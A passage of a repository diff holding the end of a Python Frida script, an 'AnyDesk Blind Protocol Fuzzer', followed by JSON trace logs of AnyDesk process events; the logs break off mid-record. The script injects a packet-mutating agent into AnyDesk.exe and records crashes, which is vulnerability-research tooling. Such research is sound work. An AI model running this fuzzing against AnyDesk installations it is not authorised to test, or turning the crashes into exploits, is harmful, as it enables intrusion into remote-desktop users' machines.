||||
self.ready = True
|
||||
elif msg_type == 'mutation':
|
||||
self.mutations = payload.get('totalMutations', self.mutations + 1)
|
||||
print(f" [FUZZ #{self.mutations}] pkt#{payload['seq']} "
|
||||
f"{payload['size']}b {payload['strategy']}: {payload['desc']}")
|
||||
elif msg_type == 'stats':
|
||||
elapsed = time.time() - self.start_time
|
||||
self.packets = payload['packets']
|
||||
self.mutations = payload['mutations']
|
||||
rate = self.mutations / elapsed if elapsed > 0 else 0
|
||||
print(f" [STATS] {self.packets} pkts, {self.mutations} mutations "
|
||||
f"({rate:.1f}/s), {len(self.crashes)} crashes, {len(self.exceptions)} exceptions")
|
||||
elif msg_type == 'crash':
|
||||
self.crashes.append(payload)
|
||||
print(f"\n {'!'*60}")
|
||||
print(f" [CRASH] Exception 0x{payload['code']} at {payload['address']}")
|
||||
print(f" [CRASH] After {payload['totalPackets']} packets, {payload['totalMutations']} mutations")
|
||||
print(f" {'!'*60}\n")
|
||||
elif msg_type == 'exception':
|
||||
self.exceptions.append(payload)
|
||||
print(f"\n [EXCEPTION] {payload['codeName']} (0x{payload['code']})")
|
||||
print(f" After {payload['totalPackets']} packets, {payload['totalMutations']} mutations")
|
||||
if payload.get('stack'):
|
||||
for frame in payload['stack'].split('\n')[:5]:
|
||||
print(f" {frame}")
|
||||
print()
|
||||
elif msg_type == 'error':
|
||||
print(f" [!] {payload['msg']}")
|
||||
elif message['type'] == 'error':
|
||||
print(f" [!] FRIDA ERROR: {message['description']}")
|
||||
|
||||
def save_results(self, path):
|
||||
results = {
|
||||
'duration': time.time() - self.start_time,
|
||||
'total_packets': self.packets,
|
||||
'total_mutations': self.mutations,
|
||||
'crashes': self.crashes,
|
||||
'exceptions': self.exceptions
|
||||
}
|
||||
with open(path, 'w') as f:
|
||||
json.dump(results, f, indent=2)
|
||||
print(f"[+] Results saved to {path}")
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description='AnyDesk Blind Protocol Fuzzer')
|
||||
parser.add_argument('--mode', choices=['random', 'dimensions', 'overflow', 'all'],
|
||||
default='all', help='Mutation strategy')
|
||||
parser.add_argument('--intensity', choices=['low', 'medium', 'high', 'max'],
|
||||
default='medium', help='Mutation probability per packet')
|
||||
parser.add_argument('--skip', type=int, default=50,
|
||||
help='Skip first N packets (handshake protection)')
|
||||
args = parser.parse_args()
|
||||
|
||||
intensity_map = {'low': 0.05, 'medium': 0.15, 'high': 0.4, 'max': 0.9}
|
||||
intensity = intensity_map[args.intensity]
|
||||
|
||||
print("=" * 60)
|
||||
print(" AnyDesk Blind Protocol Fuzzer")
|
||||
print("=" * 60)
|
||||
print(f" Mode: {args.mode}")
|
||||
print(f" Intensity: {args.intensity} ({intensity*100:.0f}% of packets)")
|
||||
print(f" Skip first: {args.skip} packets")
|
||||
print()
|
||||
|
||||
pid = find_anydesk_pid()
|
||||
if not pid:
|
||||
print("[!] AnyDesk.exe not found.")
|
||||
sys.exit(1)
|
||||
|
||||
print(f"[+] Found AnyDesk.exe (PID: {pid})")
|
||||
|
||||
state = FuzzerState()
|
||||
|
||||
try:
|
||||
session = frida.attach(pid)
|
||||
except Exception as e:
|
||||
print(f"[!] Frida attach failed: {e}")
|
||||
print("[!] Run as Administrator.")
|
||||
sys.exit(1)
|
||||
|
||||
agent_code = FUZZER_AGENT.replace('%FUZZ_MODE%', args.mode)
|
||||
agent_code = agent_code.replace('%INTENSITY%', str(intensity))
|
||||
agent_code = agent_code.replace('%SKIP_FIRST_N%', str(args.skip))
|
||||
|
||||
script = session.create_script(agent_code, runtime='v8')
|
||||
script.on('message', state.on_message)
|
||||
script.load()
|
||||
|
||||
for _ in range(100):
|
||||
if state.ready:
|
||||
break
|
||||
time.sleep(0.1)
|
||||
|
||||
print(f"\n{'=' * 60}")
|
||||
print(" FUZZING — move mouse on attacker screen to generate frames")
|
||||
print(" Press Ctrl+C to stop and save results")
|
||||
print(f"{'=' * 60}\n")
|
||||
|
||||
try:
|
||||
while True:
|
||||
time.sleep(0.1)
|
||||
except KeyboardInterrupt:
|
||||
print("\n\n[+] Stopping fuzzer...")
|
||||
|
||||
timestamp = datetime.now().strftime('%Y%m%d_%H%M%S')
|
||||
state.save_results(f"fuzz_results_{timestamp}.json")
|
||||
|
||||
if state.crashes:
|
||||
print(f"\n[!!!] {len(state.crashes)} CRASHES DETECTED — review results file")
|
||||
if state.exceptions:
|
||||
print(f"[!!!] {len(state.exceptions)} EXCEPTIONS DETECTED — review results file")
|
||||
|
||||
session.detach()
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,4 @@
|
||||
{
|
||||
"duration": 42.555851221084595,
|
||||
"events": []
|
||||
}
|
||||
@@ -0,0 +1,4 @@
|
||||
{
|
||||
"duration": 35.574270486831665,
|
||||
"events": []
|
||||
}
|
||||
@@ -0,0 +1,4 @@
|
||||
{
|
||||
"dur": 45.991546869277954,
|
||||
"events": []
|
||||
}
|
||||
@@ -0,0 +1,4 @@
|
||||
{
|
||||
"dur": 8.54698896408081,
|
||||
"events": []
|
||||
}
|
||||
@@ -0,0 +1,39 @@
|
||||
{
|
||||
"dur": 33.388368129730225,
|
||||
"events": [
|
||||
{
|
||||
"t": "write",
|
||||
"sz": 125,
|
||||
"tags": [
|
||||
"STR: info 2026-03-17 21:57:31.702 front 18648 5788 "
|
||||
],
|
||||
"ts": 1773784651702
|
||||
},
|
||||
{
|
||||
"t": "write",
|
||||
"sz": 146,
|
||||
"tags": [
|
||||
"STR:warning 2026-03-17 21:57:31.702 front 18648 5788 "
|
||||
],
|
||||
"ts": 1773784651702
|
||||
},
|
||||
{
|
||||
"t": "bmp",
|
||||
"op": "Compat",
|
||||
"w": 160,
|
||||
"h": 28,
|
||||
"bpp": 0,
|
||||
"alloc": 0,
|
||||
"ts": 1773784655207
|
||||
},
|
||||
{
|
||||
"t": "bmp",
|
||||
"op": "Compat",
|
||||
"w": 160,
|
||||
"h": 28,
|
||||
"bpp": 0,
|
||||
"alloc": 0,
|
||||
"ts": 1773784659137
|
||||
}
|
||||
]
|
||||
}
|
||||
@@ -0,0 +1,39 @@
|
||||
{
|
||||
"dur": 160.77614212036133,
|
||||
"events": [
|
||||
{
|
||||
"t": "write",
|
||||
"sz": 125,
|
||||
"tags": [
|
||||
"STR: info 2026-03-17 21:59:56.150 front 18648 19352 "
|
||||
],
|
||||
"ts": 1773784796151
|
||||
},
|
||||
{
|
||||
"t": "write",
|
||||
"sz": 146,
|
||||
"tags": [
|
||||
"STR:warning 2026-03-17 21:59:56.151 front 18648 19352 "
|
||||
],
|
||||
"ts": 1773784796151
|
||||
},
|
||||
{
|
||||
"t": "bmp",
|
||||
"op": "Compat",
|
||||
"w": 160,
|
||||
"h": 28,
|
||||
"bpp": 0,
|
||||
"alloc": 0,
|
||||
"ts": 1773784803588
|
||||
},
|
||||
{
|
||||
"t": "bmp",
|
||||
"op": "Compat",
|
||||
"w": 160,
|
||||
"h": 28,
|
||||
"bpp": 0,
|
||||
"alloc": 0,
|
||||
"ts": 1773784807546
|
||||
}
|
||||
]
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,873 @@
|
||||
{
|
||||
"dur": 32.31355547904968,
|
||||
"events": [
|
||||
{
|
||||
"t": "net",
|
||||
"d": "R",
|
||||
"sz": 5,
|
||||
"n": 1,
|
||||
"ts": 1773785114886,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "net",
|
||||
"d": "R",
|
||||
"sz": 75,
|
||||
"n": 2,
|
||||
"ts": 1773785114886,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "write",
|
||||
"sz": 142,
|
||||
"tags": [
|
||||
"STR: info 2026-03-17 22:05:14.886 lsvc 18852 2452 11 "
|
||||
],
|
||||
"ts": 1773785114886,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "write",
|
||||
"sz": 118,
|
||||
"tags": [
|
||||
"STR: info 2026-03-17 22:05:14.886 lsvc 18852 2452 2 "
|
||||
],
|
||||
"ts": 1773785114886,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "write",
|
||||
"sz": 156,
|
||||
"tags": [
|
||||
"STR: info 2026-03-17 22:05:14.887 lsvc 18852 2452 2 "
|
||||
],
|
||||
"ts": 1773785114887,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "write",
|
||||
"sz": 128,
|
||||
"tags": [
|
||||
"STR: info 2026-03-17 22:05:14.887 lsvc 18852 2452 112 "
|
||||
],
|
||||
"ts": 1773785114887,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "write",
|
||||
"sz": 125,
|
||||
"tags": [
|
||||
"STR: info 2026-03-17 22:05:14.887 lsvc 18852 2452 112 "
|
||||
],
|
||||
"ts": 1773785114887,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "write",
|
||||
"sz": 143,
|
||||
"tags": [
|
||||
"STR: info 2026-03-17 22:05:14.887 lsvc 18852 2452 112 "
|
||||
],
|
||||
"ts": 1773785114887,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "write",
|
||||
"sz": 120,
|
||||
"tags": [
|
||||
"STR: info 2026-03-17 22:05:14.887 lsvc 18852 2452 113 "
|
||||
],
|
||||
"ts": 1773785114887,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "write",
|
||||
"sz": 131,
|
||||
"tags": [
|
||||
"STR: info 2026-03-17 22:05:14.889 lsvc 18852 2452 113 "
|
||||
],
|
||||
"ts": 1773785114889,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "write",
|
||||
"sz": 131,
|
||||
"tags": [
|
||||
"STR: info 2026-03-17 22:05:14.889 lsvc 18852 2452 113 "
|
||||
],
|
||||
"ts": 1773785114889,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "write",
|
||||
"sz": 125,
|
||||
"tags": [
|
||||
"STR: info 2026-03-17 22:05:14.889 lsvc 18852 2452 113 "
|
||||
],
|
||||
"ts": 1773785114889,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "write",
|
||||
"sz": 129,
|
||||
"tags": [
|
||||
"STR: info 2026-03-17 22:05:14.889 lsvc 18852 2452 113 "
|
||||
],
|
||||
"ts": 1773785114889,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "net",
|
||||
"d": "S",
|
||||
"sz": 41,
|
||||
"n": 1,
|
||||
"ts": 1773785114889,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "net",
|
||||
"d": "R",
|
||||
"sz": 5,
|
||||
"n": 3,
|
||||
"ts": 1773785114936,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "net",
|
||||
"d": "R",
|
||||
"sz": 149,
|
||||
"n": 4,
|
||||
"ts": 1773785114936,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "write",
|
||||
"sz": 141,
|
||||
"tags": [
|
||||
"STR: info 2026-03-17 22:05:14.937 lsvc 18852 2452 113 "
|
||||
],
|
||||
"ts": 1773785114937,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "write",
|
||||
"sz": 153,
|
||||
"tags": [
|
||||
"STR: info 2026-03-17 22:05:14.937 lsvc 18852 2452 113 "
|
||||
],
|
||||
"ts": 1773785114937,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "write",
|
||||
"sz": 170,
|
||||
"tags": [
|
||||
"STR: info 2026-03-17 22:05:14.937 lsvc 18852 2452 113 "
|
||||
],
|
||||
"ts": 1773785114937,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "write",
|
||||
"sz": 129,
|
||||
"tags": [
|
||||
"STR: info 2026-03-17 22:05:14.937 lsvc 18852 2452 113 "
|
||||
],
|
||||
"ts": 1773785114937,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "write",
|
||||
"sz": 139,
|
||||
"tags": [
|
||||
"STR: info 2026-03-17 22:05:14.937 lsvc 18852 2452 113 "
|
||||
],
|
||||
"ts": 1773785114937,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "write",
|
||||
"sz": 117,
|
||||
"tags": [
|
||||
"STR: info 2026-03-17 22:05:14.937 lsvc 18852 2452 113 "
|
||||
],
|
||||
"ts": 1773785114937,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "write",
|
||||
"sz": 116,
|
||||
"tags": [
|
||||
"STR: info 2026-03-17 22:05:14.944 lsvc 18852 2452 113 "
|
||||
],
|
||||
"ts": 1773785114944,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "write",
|
||||
"sz": 157,
|
||||
"tags": [
|
||||
"STR: info 2026-03-17 22:05:14.944 lsvc 18852 2452 113 "
|
||||
],
|
||||
"ts": 1773785114944,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "write",
|
||||
"sz": 134,
|
||||
"tags": [
|
||||
"STR: info 2026-03-17 22:05:14.945 lsvc 18852 2452 113 "
|
||||
],
|
||||
"ts": 1773785114945,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "write",
|
||||
"sz": 150,
|
||||
"tags": [
|
||||
"STR: info 2026-03-17 22:05:14.945 lsvc 18852 2452 113 "
|
||||
],
|
||||
"ts": 1773785114945,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "write",
|
||||
"sz": 132,
|
||||
"tags": [
|
||||
"STR: info 2026-03-17 22:05:14.945 lsvc 18852 2452 113 "
|
||||
],
|
||||
"ts": 1773785114945,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "write",
|
||||
"sz": 130,
|
||||
"tags": [
|
||||
"STR: info 2026-03-17 22:05:14.945 lsvc 18852 2452 113 "
|
||||
],
|
||||
"ts": 1773785114945,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "write",
|
||||
"sz": 151,
|
||||
"tags": [
|
||||
"STR: info 2026-03-17 22:05:14.945 lsvc 18852 2452 113 "
|
||||
],
|
||||
"ts": 1773785114945,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "write",
|
||||
"sz": 133,
|
||||
"tags": [
|
||||
"STR: info 2026-03-17 22:05:14.945 lsvc 18852 2452 113 "
|
||||
],
|
||||
"ts": 1773785114945,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "write",
|
||||
"sz": 133,
|
||||
"tags": [
|
||||
"STR: info 2026-03-17 22:05:14.945 lsvc 18852 2452 113 "
|
||||
],
|
||||
"ts": 1773785114945,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "write",
|
||||
"sz": 146,
|
||||
"tags": [
|
||||
"STR: info 2026-03-17 22:05:14.945 lsvc 18852 2452 113 "
|
||||
],
|
||||
"ts": 1773785114945,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "write",
|
||||
"sz": 155,
|
||||
"tags": [
|
||||
"STR: info 2026-03-17 22:05:14.945 lsvc 18852 2452 113 "
|
||||
],
|
||||
"ts": 1773785114946,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "write",
|
||||
"sz": 122,
|
||||
"tags": [
|
||||
"STR: info 2026-03-17 22:05:14.946 lsvc 18852 2452 113 "
|
||||
],
|
||||
"ts": 1773785114946,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "write",
|
||||
"sz": 133,
|
||||
"tags": [
|
||||
"STR: info 2026-03-17 22:05:14.946 lsvc 18852 2452 113 "
|
||||
],
|
||||
"ts": 1773785114946,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "write",
|
||||
"sz": 125,
|
||||
"tags": [
|
||||
"STR:warning 2026-03-17 22:05:14.946 lsvc 18852 2452 113 "
|
||||
],
|
||||
"ts": 1773785114946,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "write",
|
||||
"sz": 130,
|
||||
"tags": [
|
||||
"STR: info 2026-03-17 22:05:14.946 lsvc 18852 2452 113 "
|
||||
],
|
||||
"ts": 1773785114946,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "write",
|
||||
"sz": 125,
|
||||
"tags": [
|
||||
"STR: info 2026-03-17 22:05:14.946 lsvc 18852 2452 113 "
|
||||
],
|
||||
"ts": 1773785114946,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "net",
|
||||
"d": "S",
|
||||
"sz": 109,
|
||||
"n": 2,
|
||||
"ts": 1773785114947,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "net",
|
||||
"d": "S",
|
||||
"sz": 37,
|
||||
"n": 3,
|
||||
"ts": 1773785114947,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "net",
|
||||
"d": "R",
|
||||
"sz": 5,
|
||||
"n": 5,
|
||||
"ts": 1773785114962,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "net",
|
||||
"d": "R",
|
||||
"sz": 22,
|
||||
"n": 6,
|
||||
"ts": 1773785114962,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "write",
|
||||
"sz": 127,
|
||||
"tags": [
|
||||
"STR: info 2026-03-17 22:05:14.962 lsvc 18852 2452 113 "
|
||||
],
|
||||
"ts": 1773785114962,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "write",
|
||||
"sz": 122,
|
||||
"tags": [
|
||||
"STR: info 2026-03-17 22:05:14.962 lsvc 18852 2452 113 "
|
||||
],
|
||||
"ts": 1773785114962,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "net",
|
||||
"d": "R",
|
||||
"sz": 5,
|
||||
"n": 7,
|
||||
"ts": 1773785114976,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "net",
|
||||
"d": "R",
|
||||
"sz": 22,
|
||||
"n": 8,
|
||||
"ts": 1773785114976,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "write",
|
||||
"sz": 130,
|
||||
"tags": [
|
||||
"STR: info 2026-03-17 22:05:14.976 lsvc 18852 2452 113 "
|
||||
],
|
||||
"ts": 1773785114976,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "net",
|
||||
"d": "S",
|
||||
"sz": 27,
|
||||
"n": 4,
|
||||
"ts": 1773785114977,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "net",
|
||||
"d": "R",
|
||||
"sz": 5,
|
||||
"n": 9,
|
||||
"ts": 1773785114977,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "net",
|
||||
"d": "R",
|
||||
"sz": 7854,
|
||||
"n": 10,
|
||||
"ts": 1773785114977,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "write",
|
||||
"sz": 124,
|
||||
"tags": [
|
||||
"STR: info 2026-03-17 22:05:14.986 lsvc 18852 2452 112 "
|
||||
],
|
||||
"ts": 1773785114986,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "write",
|
||||
"sz": 170,
|
||||
"tags": [
|
||||
"STR: info 2026-03-17 22:05:14.999 lsvc 18852 2452 112 "
|
||||
],
|
||||
"ts": 1773785114999,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "write",
|
||||
"sz": 167,
|
||||
"tags": [
|
||||
"STR: info 2026-03-17 22:05:14.999 lsvc 18852 2452 112 "
|
||||
],
|
||||
"ts": 1773785114999,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "write",
|
||||
"sz": 131,
|
||||
"tags": [
|
||||
"STR: info 2026-03-17 22:05:14.999 lsvc 18852 2452 112 "
|
||||
],
|
||||
"ts": 1773785114999,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "write",
|
||||
"sz": 153,
|
||||
"tags": [
|
||||
"STR: info 2026-03-17 22:05:15.076 lsvc 18852 2452 112 "
|
||||
],
|
||||
"ts": 1773785115076,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "write",
|
||||
"sz": 136,
|
||||
"tags": [
|
||||
"STR: info 2026-03-17 22:05:15.076 lsvc 18852 2452 112 "
|
||||
],
|
||||
"ts": 1773785115076,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "write",
|
||||
"sz": 140,
|
||||
"tags": [
|
||||
"STR: info 2026-03-17 22:05:15.076 lsvc 18852 2452 112 "
|
||||
],
|
||||
"ts": 1773785115076,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "write",
|
||||
"sz": 146,
|
||||
"tags": [
|
||||
"STR: info 2026-03-17 22:05:15.076 lsvc 18852 2452 112 "
|
||||
],
|
||||
"ts": 1773785115076,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "write",
|
||||
"sz": 225,
|
||||
"tags": [
|
||||
"STR: info 2026-03-17 22:05:15.077 lsvc 18852 2452 112 "
|
||||
],
|
||||
"ts": 1773785115077,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "write",
|
||||
"sz": 147,
|
||||
"tags": [
|
||||
"STR: info 2026-03-17 22:05:15.077 lsvc 18852 2452 112 "
|
||||
],
|
||||
"ts": 1773785115077,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "file",
|
||||
"op": "Create",
|
||||
"path": "C:\\Users\\Mes\\Downloads\\AnyDesk.exe",
|
||||
"w": false,
|
||||
"c": false,
|
||||
"fl": [],
|
||||
"ts": 1773785115081,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "write",
|
||||
"sz": 131,
|
||||
"tags": [
|
||||
"STR: info 2026-03-17 22:05:15.084 lsvc 18852 2452 112 "
|
||||
],
|
||||
"ts": 1773785115084,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "write",
|
||||
"sz": 117,
|
||||
"tags": [
|
||||
"STR: info 2026-03-17 22:05:15.084 lsvc 18852 2452 112 "
|
||||
],
|
||||
"ts": 1773785115084,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "write",
|
||||
"sz": 128,
|
||||
"tags": [
|
||||
"STR: info 2026-03-17 22:05:15.084 lsvc 18852 2452 112 "
|
||||
],
|
||||
"ts": 1773785115084,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "write",
|
||||
"sz": 129,
|
||||
"tags": [
|
||||
"STR: info 2026-03-17 22:05:15.087 lsvc 18852 2452 112 "
|
||||
],
|
||||
"ts": 1773785115087,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "write",
|
||||
"sz": 138,
|
||||
"tags": [
|
||||
"STR: info 2026-03-17 22:05:15.087 lsvc 18852 2452 112 "
|
||||
],
|
||||
"ts": 1773785115087,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "write",
|
||||
"sz": 136,
|
||||
"tags": [
|
||||
"STR: info 2026-03-17 22:05:15.089 lsvc 18852 2452 112 "
|
||||
],
|
||||
"ts": 1773785115089,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "write",
|
||||
"sz": 132,
|
||||
"tags": [
|
||||
"STR: info 2026-03-17 22:05:15.089 lsvc 18852 2452 2 "
|
||||
],
|
||||
"ts": 1773785115089,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "write",
|
||||
"sz": 118,
|
||||
"tags": [
|
||||
"STR: info 2026-03-17 22:05:15.914 lsvc 18852 2452 2 "
|
||||
],
|
||||
"ts": 1773785115914,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "write",
|
||||
"sz": 153,
|
||||
"tags": [
|
||||
"STR: info 2026-03-17 22:05:15.914 lsvc 18852 2452 2 "
|
||||
],
|
||||
"ts": 1773785115914,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "write",
|
||||
"sz": 129,
|
||||
"tags": [
|
||||
"STR: info 2026-03-17 22:05:15.916 lsvc 18852 2452 115 "
|
||||
],
|
||||
"ts": 1773785115916,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "write",
|
||||
"sz": 130,
|
||||
"tags": [
|
||||
"STR: info 2026-03-17 22:05:15.917 lsvc 18852 2452 115 "
|
||||
],
|
||||
"ts": 1773785115917,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "write",
|
||||
"sz": 122,
|
||||
"tags": [
|
||||
"STR: info 2026-03-17 22:05:15.920 lsvc 18852 2452 115 "
|
||||
],
|
||||
"ts": 1773785115920,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "write",
|
||||
"sz": 126,
|
||||
"tags": [
|
||||
"STR: info 2026-03-17 22:05:16.163 lsvc 18852 2452 112 "
|
||||
],
|
||||
"ts": 1773785116163,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "write",
|
||||
"sz": 137,
|
||||
"tags": [
|
||||
"STR: info 2026-03-17 22:05:16.240 lsvc 18852 2452 112 "
|
||||
],
|
||||
"ts": 1773785116240,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "write",
|
||||
"sz": 123,
|
||||
"tags": [
|
||||
"STR: info 2026-03-17 22:05:16.240 lsvc 18852 2452 112 "
|
||||
],
|
||||
"ts": 1773785116240,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "write",
|
||||
"sz": 122,
|
||||
"tags": [
|
||||
"STR: info 2026-03-17 22:05:16.242 lsvc 18852 2452 112 "
|
||||
],
|
||||
"ts": 1773785116242,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "net",
|
||||
"d": "S",
|
||||
"sz": 4132,
|
||||
"n": 5,
|
||||
"ts": 1773785116246,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "net",
|
||||
"d": "S",
|
||||
"sz": 4128,
|
||||
"n": 6,
|
||||
"ts": 1773785116246,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "net",
|
||||
"d": "S",
|
||||
"sz": 3238,
|
||||
"n": 7,
|
||||
"ts": 1773785116246,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "net",
|
||||
"d": "R",
|
||||
"sz": 5,
|
||||
"n": 11,
|
||||
"ts": 1773785116266,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "net",
|
||||
"d": "R",
|
||||
"sz": 39,
|
||||
"n": 12,
|
||||
"ts": 1773785116266,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "write",
|
||||
"sz": 141,
|
||||
"tags": [
|
||||
"STR: auth 2026-03-17 22:05:17.927 lsvc 18852 2452 112 "
|
||||
],
|
||||
"ts": 1773785117927,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "net",
|
||||
"d": "S",
|
||||
"sz": 34,
|
||||
"n": 8,
|
||||
"ts": 1773785117928,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "net",
|
||||
"d": "S",
|
||||
"sz": 32,
|
||||
"n": 9,
|
||||
"ts": 1773785117928,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "write",
|
||||
"sz": 119,
|
||||
"tags": [
|
||||
"STR: info 2026-03-17 22:05:17.928 lsvc 18852 2452 2 "
|
||||
],
|
||||
"ts": 1773785117928,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "write",
|
||||
"sz": 117,
|
||||
"tags": [
|
||||
"STR: info 2026-03-17 22:05:21.001 lsvc 18852 2452 115 "
|
||||
],
|
||||
"ts": 1773785121001,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "write",
|
||||
"sz": 116,
|
||||
"tags": [
|
||||
"STR: info 2026-03-17 22:05:24.004 lsvc 18852 2452 115 "
|
||||
],
|
||||
"ts": 1773785124004,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "write",
|
||||
"sz": 149,
|
||||
"tags": [
|
||||
"STR: info 2026-03-17 22:05:27.015 lsvc 18852 2452 "
|
||||
],
|
||||
"ts": 1773785127015,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "write",
|
||||
"sz": 118,
|
||||
"tags": [
|
||||
"STR: info 2026-03-17 22:05:30.027 lsvc 18852 2452 112 "
|
||||
],
|
||||
"ts": 1773785130027,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "write",
|
||||
"sz": 141,
|
||||
"tags": [
|
||||
"STR: info 2026-03-17 22:05:33.029 lsvc 18852 2452 112 "
|
||||
],
|
||||
"ts": 1773785133029,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "write",
|
||||
"sz": 118,
|
||||
"tags": [
|
||||
"STR: info 2026-03-17 22:05:36.033 lsvc 18852 2452 112 "
|
||||
],
|
||||
"ts": 1773785136033,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "file",
|
||||
"op": "Create",
|
||||
"path": "C:\\Users\\desktop.ini",
|
||||
"w": false,
|
||||
"c": false,
|
||||
"fl": [],
|
||||
"ts": 1773785136035,
|
||||
"pid": 18852
|
||||
},
|
||||
{
|
||||
"t": "file",
|
||||
"op": "Create",
|
||||
"path": "C:\\Users\\Mes\\Downloads\\desktop.ini",
|
||||
"w": false,
|
||||
"c": false,
|
